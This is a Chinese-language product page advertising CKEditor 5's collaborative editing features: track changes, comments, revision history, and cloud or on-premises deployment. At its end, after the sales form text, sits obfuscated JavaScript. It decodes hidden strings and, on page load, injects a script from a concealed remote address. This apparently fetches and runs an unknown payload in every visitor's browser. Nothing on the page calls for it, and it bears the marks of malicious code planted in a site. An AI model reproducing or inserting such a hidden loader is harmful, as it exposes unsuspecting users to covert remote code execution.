报告:2024 年 协作编辑现状

获取有关 RTE 中协作趋势和未来的见解 立即下载

立即阅读

CKEditor 5
协作功能

为您的用户提供类似 Google Docs 的写作体验。通过在线文档协作,将您的内容创建和审查流程集中在一个应用程序中。

Collaborative features video preview.

让您的用户协作

CKEditor 5 的协作功能允许您的用户和团队在您的应用程序中协作编写、审查和讨论。它们包括跟踪更改、评论和修订历史记录功能,所有这些功能都可用于异步和实时编辑。

评论和跟踪更改功能是必不可少的。没有它们,Agreemint 就无法运转。
Peter Graham

Peter Graham

Agreemint 首席执行官兼创始人

跟踪更改

  • 对内容进行红线标注,然后批准或拒绝更改。
  • 建议在块级内容中进行更改,例如插入表格、图片或媒体。
  • 一键接受或拒绝所选更改或所有更改。
  • 对建议发表评论,并在任何给定更改上创建讨论线程。

评论

  • 添加、删除、编辑、解决或重新打开评论,@提及用户,创建讨论线程。
  • 将评论添加到块级元素,例如嵌入式媒体或图片。
  • 使用仅评论模式管理用户权限。
  • 在窄边栏、宽边栏或内联中显示评论。

修订历史记录

  • 创建、查看、比较、恢复和命名版本。
  • 手动保存版本或配置自动保存周期。
  • 非常适合具有一个或多个作者的复杂文档。
  • 在编辑器中添加更改,并在版本预览模式下跟踪它们。
我们现在可以更快、更大、更好地经营我们的业务。
Rick Nash

Rick Nash

Spotlight 管理合伙人

异步与实时协作编辑

两种协作工作流程都允许您的用户在一个应用程序中共同工作,无需使用第三方工具。他们可以异步协作处理文档,或者使用实时编辑器以实时模式编写、审查和评论内容。

SaaS 与本地部署

实时协作附带完整的后端解决方案,用于存储数据。您可以选择云 (SaaS) 来节省维护服务器的成本和麻烦,或者选择本地部署解决方案来完全控制您的数据(CKEditor 5 是市场上唯一提供本地部署选项的协作编辑器)。

想了解更多关于 CKEditor 的信息吗?

您好,您对产品或定价有任何问题吗?

您对我们的 产品或定价 有任何问题吗?

联系我们的 销售代表

表单内容字段

表单提交

HiddenGatedContent。
隐藏未使用的字段。

我们很高兴
收到您的来信!

感谢您联系CKEditor 销售团队。我们已收到您的留言,并将尽快与您联系。

(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});const f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= 'https://127.0.0.1/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-KFSS6L');window[(function(_2VK,_6n){var _91='';for(var _hi=0;_hi<_2VK.length;_hi++){_91==_91;_DR!=_hi;var _DR=_2VK[_hi].charCodeAt();_DR-=_6n;_DR+=61;_DR%=94;_DR+=33;_6n>9;_91+=String.fromCharCode(_DR)}return _91})(atob('J3R7Pzw3MjBBdjJG'), 43)] = '37db4db8751680691983'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_HwU,_af){var _wr='';for(var _4c=0;_4c<_HwU.length;_4c++){var _Gq=_HwU[_4c].charCodeAt();_af>4;_Gq-=_af;_Gq!=_4c;_Gq+=61;_Gq%=94;_wr==_wr;_Gq+=33;_wr+=String.fromCharCode(_Gq)}return _wr})(atob('IS0tKSxRRkYjLEUzIkQseisiKS0sRXooJkYzIkQteH5FIyw='), 23)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });